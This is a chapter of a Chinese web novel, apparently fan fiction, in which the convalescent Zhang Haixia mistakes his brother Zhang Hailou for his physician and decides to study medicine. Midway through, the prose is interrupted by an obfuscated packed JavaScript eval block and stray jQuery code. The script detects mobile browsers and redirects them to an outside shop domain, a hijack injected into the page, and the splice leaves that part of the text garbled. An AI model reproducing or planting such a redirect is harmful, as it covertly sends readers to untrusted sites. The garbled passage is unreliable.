文趣网 > 都市小说 > 南部档案:同心契 > 28. 学医
    张海侠醒过来的第九天,决定学医。

    这个决定不是在意识清醒的状态下做出的。准确地说,他那天早上睁开眼睛之后,把张海楼认成了姜芜——不是之前那种“你是不是姜芜派来的大夫”的礼貌猜测,而是一种笃定的、不容置疑的、带着学徒对师父的敬畏的认定。他对着端药粥走进来的张海楼,微微点了一下头,用那种徒弟向师父请安的语气说:“师父,今天的早课是什么?”

    张海楼端着粥碗站在门口,沉默了三秒。他把粥碗放在旁边的石阶上,转身走出去,找到姜芜,每一个字都像是从牙缝里挤出来的——“姜芜!这就是你说的十天能恢复?!”

    然后他在门外深吸了两口气,又走回来。

    “你叫我什么?”

    “师父。”张海侠重复了一遍,语气比第一次更笃定。他靠坐在床上,面前摊着一张从姜芜药箱里翻出来的草药图谱——那是他趁张海楼出去煮茶的时候自己摸过来翻开的,张海楼完全不知道他是怎么在腿还不能动的情况下够到那张图谱的。此刻他正用手指着图谱上一味药材的图样,抬头看着张海楼,表情认真得像一个刚入门的学徒在向师父请教问题。“这味药——附子,是不是要先炮制才能入药?我记得生附子有毒,但图谱上没有写炮制方法。”

    张海楼低头看了看图谱。又抬头看了看张海侠。那双琥珀色的眼睛是清醒的,焦距稳定的,对光反应正常的。和之前把他认成阿良时一样,张海侠此刻看他,不是在看他这个人,而是在看“姜芜”这个身份。张海楼的五官、身高、声音都被张海侠的大脑自动替换成了姜芜的参数,唯一保留下来的只有那个倒茶的动作——他把粥碗放在桌上的位置,是姜芜每次放药碗的固定位置。

    “你叫我师父,”张海楼尽量让自己的声音保持平稳,“是觉得我是姜芜?”

    “你不是姜芜?”张海侠皱了一下眉,偏头打量着面前这个人。他的目光从张海楼的眉骨扫到下颌,又从下颌扫回眉骨,扫了两遍之后,表情从笃定变成了困惑,又从困惑变成了一种折中的、两边都不得罪的解决方案。“你看起来不太像姜芜。但你给我端药的方式像姜芜。也许你是姜芜的助手——我听说他有两个助手,一个姓张一个姓朗。你是姓张的那个?”

    “我姓张。我叫张海楼。是你弟弟。”

    “张海楼。”张海侠重复了一遍这个名字,眉头皱得更紧了。他在记忆里搜索了一圈,然后抬起头,用一种“我很努力了但真的没找到匹配项”的坦诚表情看着张海楼。“我不记得我有个弟弟在姜芜手底下当助手。你是什么时候拜师的?是在我之前还是之后?”

    张海楼的右眼皮跳了一下。他走到床边坐下来,双手交握搁在膝盖上,用那种已经重复了无数遍的耐心语气说:“我不是姜芜的助手。你也不是姜芜的徒弟。你是张海侠,我是你弟弟张海楼。你没有拜过师——你不学医,你只对破案和我有兴趣。你连伤寒和风寒的区别都分不清,在南洋的时候你给我煮姜汤,放了一整块姜,煮出来的汤辣得我眼泪都出来了,你跟我说‘越辣越有效’。有效个头,我喝完喉咙痛了三天。”

    张海侠听着这番话,表情从困惑变成了认真。他低头看了看摊在膝盖上的草药图谱,又看了看张海楼端着药粥的手——那只手的虎口上有几道旧疤,指节上覆着握刀磨出来的茧子。他把图谱合上,放在一边,然后说了一句让张海楼差点当场去世的话。

    “你说的这些我不记得。但你说我煮姜汤放了一整块姜——这听起来确实不像我会做的事,我不可能这么笨。”他点了点头,像是在肯定自己医术方面的某种天赋,“所以我应该学过医。至少学过食疗。”

    “你——”张海楼把后面的话生生咽了回去。他突然想起来姜芜的叮嘱:意识震荡期的病人会试图用自己的逻辑框架去解释那些被记忆碎片提供的、但无法正确归位的知识。张海侠此刻的行为就是典型案例——他脑子里存着附子的药性知识,存着姜汤驱寒的食疗原理,存着姜芜曾经跟他讲解过的经脉探测的要领,但他的记忆无法把这些知识归位到“这是姜芜教我的”这个事实上。于是他的大脑自动编了一个新的解释:我是姜芜的徒弟,我正在学医。

    这个逻辑框架一旦建立,就很难从外部打破。

    “行。”张海楼深吸一口气,“你想学医。那我问你,你学医是为了什么?”

    张海侠想了一下。他的右手手指开始在毯子上画血符纹——这个动作现在已经进化出好几个变体了,有时候画的是护身符上的纹路,有时候画的是引信结构图,有时候画的是连张海楼都认不出来的图案。这次画的是一种张海楼第一次见的纹样,线条比血符纹更密,末端分叉更多,像一片叶子的叶脉被摊平了印在布面上。“为了治好一个人。”他说。

    “谁?”

    “我不记得了。”张海侠的手指在毯子上停住,叶脉纹路的最后一笔没画完,断在分叉的起点处。“但我记得他身上有一股味道——砖茶味。可能是姜芜煮的。也可能是别人。反正我闻到那个味道的时候心跳会变快。不是紧张,不是恐惧。是那种——”他停下来找了一个词,“是想往那个味道的方向走过去的心情。但我的腿走不了。所以我得先把自己的腿治好,再去找那个人。”

    张海楼把药粥端起来,用勺子搅了两圈散热,然后舀了一勺递到张海侠嘴边。张海侠很自然地张嘴吃了——这个动作和张海侠把他认成谁没有任何关系,纯粹是因为在过去几天里张海楼喂他吃饭喂了太多次,身体记忆已经形成了条件反射。

    “那个砖茶味的人,”张海楼又舀了一勺递过去,“不一定需要你治。说不定他就希望你好好躺着,把身体养好。”

    “你怎么知道?”

    “因为我认识他。”张海楼把第三勺粥递过去,看着张海侠嚼着粥的样子,嘴角不自觉地弯了一下,“他每天煮茶,用的是信城本地的砖茶。煮的时候火不能太大,水温要控制在将沸未沸的程度——水面的蟹眼泡刚冒出来就要把壶提起来,不然茶汤会涩。煮好之后他倒两杯,一杯自己喝,一杯放在左手边一尺二寸的位置。那个位置是给一个不能喝茶的人留的。后来那个人能喝茶了,他还是放在同一个位置。习惯了。”

    张海侠嚼粥的动作慢下来。他看着张海楼,眼睛里的那层薄雾又开始波动了——这次不是混乱的波动,是那种某个被锁住的画面正在拼命往上浮、但水压太大还浮不上来的波动。他咽下嘴里的粥,说:“我好像见过那个场景。篝火。石阶。两杯茶。但我不记得那个倒茶的人的脸。”

    “不急。等你好了就能看到了。”

    “他现在在哪里?”

    “就在这里。”张海楼又舀了一勺粥递过去,“正在喂你喝粥。”

    张海侠低头看了看递到嘴边的勺子,又抬头看了看张海楼。他的大脑正在努力处理这个信息——面前这个人同时是“姜芜的助手”“倒茶的人”“喂他喝粥的人”,而根据他之前建立的逻辑框架,这些身份应该属于不同的人。现在全部叠在一个人身上,他的认知系统又开始短路了。

    “你是姜芜的助手,也是倒茶的人。”他总结道,“所以你学的是药膳方向?姜家学派分支?姜芜擅长药理,朗风擅长符纹,你擅长药膳——对不对?”

    张海楼再次深吸了一口气。他把粥碗放在膝盖上,两只手捧住张海侠的脸,拇指按在他的颧骨上,强迫他看着自己的眼睛。“我叫张海楼。我是你弟弟。我不擅长药膳,我擅长拆引信和煮茶。你也不擅长医术——你连姜汤都煮不好。你脑子里的附子炮制知识是姜芜前几天给你换药的时候顺便讲的,你听进去了但不记得是谁讲的。你不是姜芜的徒弟,你是他的病人。听明白了吗?”

    张海侠被他捧着脸看了好一会儿。他的瞳孔在张海楼的注视下先是微微放大,然后慢慢收缩回来,聚焦在张海楼右眼眼角那道细纹上。

    “你的眼睛,”他说,“和倒茶的那个人一样。”

    “因为我就是他。”

    “但他的脸我不记得。你的脸我看到了。”

    “那你记住我的脸。把这张脸和倒茶的人拼在一起。”

    张海侠点了下头,动作幅度很小,因为脸还被张海楼捧着。然后他抬起手,把张海楼捧着他脸的两只手拿下来,握在自己手里翻过来看——看掌心,看指节,看虎口上的旧疤。看完之后他把其中一只手翻回去,用拇指按在张海楼虎口的茧子上,按了两下,然后抬头看着张海楼。

    “我之前叫你师父——你不喜欢这个称呼?”

    “不是不喜欢。”张海楼任由他按着自己的虎口,“是你叫我师父的时候看我的眼神,和你看姜芜的眼神一模一样。客气、尊敬、距离感。你看我的时候不是这种眼神。”

    “那是什么眼神?”

    “你自己想。”

    张海侠认真地想了一会儿。他的拇指还按在张海楼虎口上,无意识地摩挲着那些茧子的纹路。然后他抬起头,用一种很认真的、像是在汇报病情分析结果的表情说:“我看你的时候——虽然我不记得张海楼的脸——但我觉得我应该可以对他发脾气。可以嫌他煮的茶太涩。可以在他面前做不好事情。可以在他面前不用客气。”

    “对。”张海楼说,“就是这种眼神。你现在看我的就是这种。虽然你还把我当成了姜芜的助手兼倒茶人兼药膳师傅,但你已经开始对我不用客气了。这是进步。”

    “那我应该叫你什么?”

    “叫海楼。或者哥哥。你自己选。”张海楼把手抽回来,重新端起粥碗,“叫海楼的话,这碗粥你得自己喝。叫哥哥的话,我继续喂你。”

    张海侠看着那碗粥,又看了看张海楼。他的嘴角浮起一丝极淡的弧度——这个弧度张海楼已经学会识别了,是他在做某种自己觉得有意思但不确定对方会不会觉得好笑的决定时才会出现的弧度。

    “哥哥。”他说。

    张海楼喂粥的手顿了一下,其实是暗爽了一下。那两个字从张海侠嘴里说出来,轻飘飘的,含含糊糊的,像是还没完全睡醒的人在说梦话。但张海楼听清楚了。那个称呼是对的。方向是对的。叫的人是他。他在心里把这两个字翻来覆去地嚼了好几遍。

    张海楼低头看着碗里的粥,表情没什么变化,但端碗的那只手,指节正在以肉眼可见的速度收紧。不是因为紧张,是因为不收紧的话,他怕自己会笑出声。那股笑意从心口出发,沿着血管一路往上冲,冲到喉咙口被他硬生生咽回去,但还有一小股漏网之鱼从嘴角跑了出来——他的嘴角往上翘了一下,极短,极快,马上就被他压平了。

    他舀了一勺粥,吹了吹,递到张海侠嘴边,说:“再吃一口。”语气不重,不急,像是在哄一个不爱吃饭的小孩。

    张海侠叫完这声“哥哥”之后,表情确实像一个小孩,他的表情里闪过了一丝极快的、几乎被睫毛的阴影盖住的狡黠。那是他最近成功骗过张海楼之后都会出现的表情。一样的角度,一样的亮度,一样的压都压不住的得意。

    “你刚才是不是假装不认识我的?”张海楼眯起眼睛。

    “没有。”

    “你有。”

    “我真的不记得你的脸。附子炮制的知识、姜汤驱寒的原理、你刚才说的那些话——这些我都没骗你。”张海侠说着,把“哥哥”这个称呼在嘴里嚼了两下,像是在品一个新学的词,然后他补了一句,“但叫师父是逗你的。”

    张海楼又深吸了一口气,他觉得最近自己很爱吸气。他把粥碗放在石阶上,站起来,走到门口,双手撑着门框,对着外面已经升到半空的太阳无声地骂了一句什么。然后转身走回来,重新端起粥碗,舀了一勺递到张海侠嘴边。

    “你刚才说你是假装叫我师父——那你看草药图谱也是装的?”

    “那个不是。”张海侠嚼着粥,声音含含糊糊的,“我是真的想学。附子的炮制方法你还没告诉我。”

    “我不知道。”

    “你去问姜芜。你是他的助手,你应该能问到。”

    “我不是他的助手!”张海楼差点把勺子戳进粥碗里,“我是你弟弟。张海楼。我刚才跟你说了三遍。你自己都叫我哥哥了,转头又把我当助手——你是鱼的记忆吗?”

    “我的短期记忆确实不稳定。”张海侠垂着眼睛,手指无意识地揪着毯子的边角,揪了两下又松开,松开又揪上。然后用那种“我在陈述一个医学事实”的语气,可怜巴巴地说,“姜芜说过,这是意识震荡期的典型症状之一。你可能需要多重复几遍。麻烦你了,哥哥。”

    张海楼盯着他看了三秒。然后他笑了——是那种被气到极点之后反而笑出来的笑,笑声从鼻子里喷出来,带着一丝丝被磨没了脾气之后的无奈。他把最后一勺粥喂完,把空碗放在石阶上,然后一屁股坐在床边,双手交叉抱在胸前看着张海侠。

    “行。你赢了。你想学医是吧?我去叫姜芜来给你讲附子的炮制方法。但有一个条件——你得记住一件事。”

    “什么事?”

    “不管你把全世界认成谁,不管你今天把我当师父还是助手还是茶档老板还是那个圆脸的阿良——你现在已经叫过我哥了。叫过就不能收回去。你明天早上醒了要是又把我忘了,我会提醒你。然后你再叫一遍。”

    “成交。”张海侠毫不犹豫地答应了,然后把草药图谱重新翻开,指着另一味药问,“趁你还没去叫姜芜——这个是什么?图旁边的字被水渍洇了,我看不清。”

    张海楼低头看了一眼。那味药他认识——姜芜前几天刚用它在药钵里捣了半个时辰,捣出来的汁液是暗绿色的,味道冲得张海斗打了三个喷嚏。

    “那是穿心莲。清热解毒的。特别苦。”

    “你怎么知道的?你说你不懂医术。”

    “我是不懂。但这玩意儿姜芜给你泡药浴的时候用过,你闻那个味道皱了一整天的眉。”

    张海侠低头看了看图谱上的穿心莲,又抬手摸了摸自己的左眉峰。然后他拿起旁边一张空白的纸——那是张海婵画速写剩下的草稿纸,背面还印着上一页铅笔画的印子——用炭条在上面写了几个字。他的手指握炭条的姿势不太稳,肌肉萎缩导致指间力不够,炭条在纸上划出的笔画歪歪扭扭的,但内容清晰可辨:

    “穿心莲。苦。我皱眉。”

    张海楼歪着头看他写。“你在记笔记?”

    “姜芜说过,意识震荡期病人的短期记忆不可靠,需要用外部工具辅助记忆。我昨天梦到了。”张海侠写完最后一个字,把炭条搁在纸上,认真地看了看自己的字迹,然后皱了皱眉,“字太丑了。我以前写字不是这样的。”

    “没错,虾仔,你写的字很好看。在南洋写任务报告,码头总管每次拿到都翻来覆去地看半天,说这笔字像是私塾先生写的。”

    张海侠没说话,低头继续写字。炭笔在纸面上走过,笔锋藏得很深,收笔的时候有一个极小的回锋,不仔细看看不出来,但一旦看到了就会觉得这个回锋把整个字的气都收住了——不外泄,不张扬,安安静静地待在笔画之间。

    “我给你写一个我自创的行草。”张海楼边说边把草稿纸拿过去。炭笔在纸面上沙沙地走,先写了“虾仔”两个字,不是端端正正的写法,是歪歪扭扭的,像两个勾肩搭背的小人。然后他在两个字右边画了一只虾。

    先是虾头,圆圆的,顶上点了一个小黑点当眼睛;然后是虾身,一节一节地画,每节之间留了一道极细的缝隙,让虾看起来是弯着腰的——是那种弹跳之前蓄力的弯,弓着背,蜷着尾,随时要从纸上弹起来;然后是虾须,两根,从虾头上方伸出去,不是直的,是微微卷曲的,弧度刚好对称;最后是虾尾,三片尾扇打开,像一把还没完全合上的折扇。画完之后他在虾旁边画了几道水纹——不是波浪线,是细密的、一圈一圈的同心弧,像是水面刚被虾尾弹了一下,涟漪正在往外扩散。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834591|211383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “行草讲究的是笔势连贯——你写的那是行爬,每一笔都是断的。”张海楼从他手里把炭条抽走,在纸的背面写了“穿心莲”三个字。“你看,这才叫行书。”

    “你懂什么书法——你现在连自己写的字都认不全。”

    “我认不全字,但我认得清好坏。你这个写得确实不好看。”

    两个人为“谁的字更丑”这个问题争论了大概一刻钟。最后是张海侠先停下来的——不是认输,是体力不够了。他说到一半忽然打了个哈欠,眼皮往下坠,身体往毯子里缩了缩。意识震荡期的病人就是这样,清醒一段时间就会忽然断电,像一盏没加足油的灯,亮着亮着就暗了。

    张海楼帮他重新裹好毯子,把那本草药图谱从他手里抽出来放在旁边的石阶上。张海侠已经闭上眼睛了,呼吸变得又浅又慢,胸口在三层毯子底下微弱地起伏着。但在完全睡着之前,他的嘴唇动了一下。

    “哥哥,”他含含糊糊地说,“附子……炮制……记得帮我问。”

    张海楼蹲在床边看着他睡着。

    晨光从殿门外斜斜地铺进来,漫过床沿,漫过毯子的褶皱,最后停在张海侠露出毯子的半张脸上。

    光把他颧骨的线条描了一遍,像水从一块光滑的鹅卵石上流过,流到哪里,哪里就亮一下。下颌的弧度从耳垂下方起笔,沿着侧脸的轮廓一路往下走,走到下巴尖的时候收了一个极轻极小的弯,像是书法里一个藏锋的回钩。晨光在那个回钩上多停了一瞬,把那一小片皮肤照得近乎透明,透出底下极淡的毛细血管,像白瓷杯底隐隐约约透出的那一点微红。他的嘴唇比刚出来时多了那么一丁点血色,不是健康的红色,是那种苍白底下透出一点粉的过渡色。颈侧的伤口边缘又收拢了一丝丝,姜芜早上探测的时候说深层血管的再生速度比预期快了大约百分之十五。

    “附子的炮制方法。”张海楼低声重复了一遍,然后把毯子往上拉了拉,盖住他的下巴,“前两天还想着出任务,今天跟我讨论附子的炮制。行吧。进步挺大的。”

    他站起来,端着空碗和凉透的茶杯走到门外。姜芜正蹲在石板上翻晒新一批草药,朗风坐在塔门边擦手杖上那个永远擦不亮的铜箍。张海楼走过去在姜芜旁边蹲下来,把空碗放在石板上。

    “虾仔想学医。”他说。

    姜芜翻草药的手停了一下。“什么?”

    “他今天早上把我认成你了。叫我师父。问我附子的炮制方法。还自己翻你的草药图谱看,在上面写笔记。他说他是姜家学派的学徒,朗风是他师叔,我是他师兄——不对,他说我是你的助手,擅长药膳方向。我不知道他从哪里学的‘药膳’这个词,可能是你上次给他煮药粥的时候提过一嘴。”

    姜芜把手里的草药放下,用袖子擦了擦手指上的碎叶。他的表情不是惊讶,不是好笑,而是一种介于专业兴趣和临床谨慎之间的复杂神色。他沉默了几秒,然后说:“这也是一个好现象。”

    “好在哪?”

    “意识震荡期的病人如果开始主动学习新知识——或者重新学习旧知识——说明他的认知系统正在尝试重建被震散的结构。学习行为本身对神经网络的修复有促进作用。”姜芜站起来,“问题在于,他学的知识体系是嫁接在一个错误的认知框架上的。他以为自己是我的徒弟,所以他吸收的所有医学知识都会被归到‘学徒训练’这个类别里。等他的记忆归位之后,这个框架会崩掉,到时候他可能会产生新的困惑——明明记得自己学过医,但想不起来是什么时候学的、跟谁学的。”

    “所以你不能教他。”张海楼说。

    “不,我可以教他。但不能以师父的身份教。要以大夫对病人的身份教——给他讲药理的时候要反复强调‘这是为了让你了解自己的病情’,而不是‘这是学徒第一课’。这样等他记忆归位之后,这些知识会被归到‘治疗期间获得的信息’而不是‘我学过医’这个类别里,认知冲突会小很多。”

    张海楼点了点头。他站起来准备回去,走了两步又停下来,回头看着姜芜。“对了,附子的炮制方法是什么?虾仔让我问你。他说他睡着之前让我记得问。”

    姜芜看了他一眼。那个眼神里有一丝极淡的笑意。“你先告诉我,他今天叫了你几声哥哥?”

    “……一声。”

    “那你明天早上告诉他,附子需用胆巴水浸泡后煮透,再漂洗去毒。如果他又把你认错了,你就用这个换他再叫你一声。”姜芜蹲下去继续翻草药。

    张海楼站在石板地上,耳根又开始发红了。

    难以想象,小张哥最近脸红的次数还真不少。

    他张了张嘴想说点什么来解释——但发现自己没法解释,因为姜芜说的每一个字都是对的。他确实在用“你刚才叫我哥了”这件事作为锚点,反复加固张海侠对他的身份认知。每一次纠正都是一次加固,每一次加固都让那道连接更稳一分。他在用姜芜教的应对策略,做着姜芜没有教但他自己无师自通的事——把张海侠叫过的每一声“哥哥”都存起来,像在护身符里数心跳一样,一个都不落地全部记在心里。

    “附子,胆巴水,浸泡,煮透,漂洗。”他把这四个词重复了一遍,然后转身走进了房内。

    张海侠还在睡。他的手不知道什么时候从毯子里伸出来了,手指微曲,指尖朝上,搁在枕头旁边。

    张海楼在床边坐下,把自己的手指卡进那个缝隙里。张海侠的手指在睡梦中自动合拢了,握得不紧,但位置很准,刚好扣在他的指节上。

    “附子是用胆巴水泡的。”他对着一个睡着的人说,“姜芜说的。等你醒了,我再告诉你第二遍。”

    第十天早上,张海侠睁开眼睛,看着端药粥走进来的张海楼,表情是一种全新的困惑——不是之前那种“你面熟但我想不起来”的困惑,也不是“你是姜芜的助手”的笃定,而是一种“我很确定你是谁但我不知道怎么形容你”的半成品状态。他皱着眉想了很久,然后试探性地开口。

    “你是那个……给我倒茶的人。也是喂我喝粥的人。也是昨晚生火的人。”他停了一下,又补了一句,“也是我昨天叫过哥哥的人。”

    张海楼把粥碗放在石阶上,在床边坐下来,伸手探了探张海侠的额头温度。体温正常,比昨天又暖了一点。“进步很大。你记得昨天的事。”

    “只记得一部分。但我知道我叫过你哥。这个我记得很清楚。”张海侠说着,自己端起粥碗喝了一口,然后皱眉,“今天的粥比昨天苦——你放了什么?”

    “穿心莲。你不是要学医吗?先尝尝自己笔记上记的药是什么味道。你昨天写了‘穿心莲,苦,我皱眉’。今天我给你煮粥的时候放了一小片叶子,尝尝看是不是真的那么苦。”

    张海侠端着粥碗,低头看了看碗里那片暗绿色的碎叶,又抬头看了看张海楼。他的表情很复杂——有被整了的无奈,也有“这人居然真的看了我的笔记”的意外。

    “很苦。”他说,“所以这是在以毒攻毒?”

    “不,我这是在以苦攻你的记忆。昨天你说穿心莲是苦的,今天你尝到了。味道是最难被遗忘的感官记忆。姜芜说的。”张海楼把放在石阶上的茶杯递过去,“喝完粥喝口茶,去去苦味。”

    张海侠接过茶杯喝了一口。然后他端着茶杯看向张海楼,像是在雾散之后露出一片正在变亮的天空。他把茶杯放在毯子上,用两只手捧着暖手,然后开口。

    “你今天不问我‘你把我认成谁了’?”

    “你已经叫过我了。不用问了。”

    “我叫你什么?”

    “哥哥。”

    张海侠低头看着杯里晃动的茶汤。晨光从殿门外照进来,落在茶杯边缘反射出一小圈淡金色的光晕。他把那口茶喝完,把杯子放在旁边的石阶上,杯子落下去的时候在石面上磕出一声轻响。

    “哥哥,”他说,“附子的炮制方法问到了吗?”